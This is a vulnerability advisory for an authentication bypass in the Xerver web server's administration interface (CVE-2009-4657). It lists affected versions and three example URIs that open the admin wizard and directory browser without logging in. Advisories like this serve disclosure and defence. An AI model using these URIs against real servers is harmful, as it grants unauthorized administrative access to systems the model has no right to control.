Xerver Web Administration Authentication Bypass Vulnerability

Bugtraq ID:	36454
Class:	Access Validation Error
CVE:	CVE-2009-4657
Remote:	Yes
Local:	No
Published:	Sep 18 2009 12:00AM
Updated:	Apr 13 2015 09:06PM
Credit:	Dr_IDE
Vulnerable:	Xerver Xerver 4.20 Xerver Xerver 4.17 Xerver Xerver 2.20 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home Xerver Xerver 2.10 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home Xerver Xerver 4.32
Not Vulnerable:

Xerver Web Administration Authentication Bypass Vulnerability

Xerver is prone to an authentication-bypass vulnerability.

An attacker can exploit this issue to gain administrative access to the affected application. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Xerver 4.32 is vulnerable; other versions may also be affected.

Xerver Web Administration Authentication Bypass Vulnerability

Attackers can exploit this issue via a browser.

The following example URIs are available:

http://www.example.com:32123/?action=wizardStep1
http://www.example.com:32123/action=chooseDirectory&currentPath=d:%5C
http://www.example.com:32123/action=chooseDirectory&currentPath=c:\

Xerver Web Administration Authentication Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Xerver Web Administration Authentication Bypass Vulnerability

References:

• Xerver Homepage (Xerver)